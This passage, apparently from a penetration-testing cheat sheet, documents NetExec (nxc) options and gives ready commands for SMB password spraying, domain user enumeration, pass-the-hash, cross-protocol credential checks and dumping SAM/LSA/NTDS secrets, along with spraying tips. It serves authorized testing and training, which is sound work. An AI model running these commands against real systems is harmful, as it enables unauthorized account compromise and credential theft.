NTLM hash to authenticate with instead of a password.
-k
Use Kerberos authentication instead of NTLM (needed when NTLM is disabled domain-wide).
--local-auth
Authenticate against the local SAM instead of the domain.
--users
List domain users (SMB) / dump the SAM (local).
--groups
List domain groups.
--shares
Enumerate accessible SMB shares.
--sam / --lsa / --ntds
Dump the SAM / LSA secrets / NTDS.dit (needs admin rights on the target).
-x / -X
Execute a shell command / PowerShell command on the target.
Common Commands
# Validate a single credential pair / spray a list against SMBnxc smb <target> -u 'user' -p 'pass'nxc smb <target> -u users.txt -p passwords.txt --continue-on-success# Enumerate domain users once a valid credential is foundnxc smb <target> -u 'user' -p 'pass' --users# Force Kerberos auth (needed if NTLM auth is disabled on the domain)nxc smb <dc_hostname> -u 'user' -p 'pass' -k --users# Check the same credential across multiple protocolsnxc winrm <target> -u 'user' -p 'pass'nxc mssql <target> -u 'user' -p 'pass'nxc ldap <target> -u 'user' -p 'pass'# Pass-the-hashnxc smb <target> -u 'user' -H '<nt_hash>'# Dump SAM/LSA secrets once local admin is confirmednxc smb <target> -u 'admin' -p 'pass' --local-auth --sam
Tips & Tricks
If a target refuses NTLM entirely (STATUS_NOT_SUPPORTED), that’s a sign NTLM auth is disabled — retry with -k and make sure the target’s hostname (not IP) resolves via /etc/hosts plus a valid /etc/krb5.conf, and that your clock is in sync (KRB_AP_ERR_SKEW otherwise).
Password spraying with -u/-p pointing at two files tries every combination — use --no-bruteforce to instead pair them up line-by-line (one username per matching password).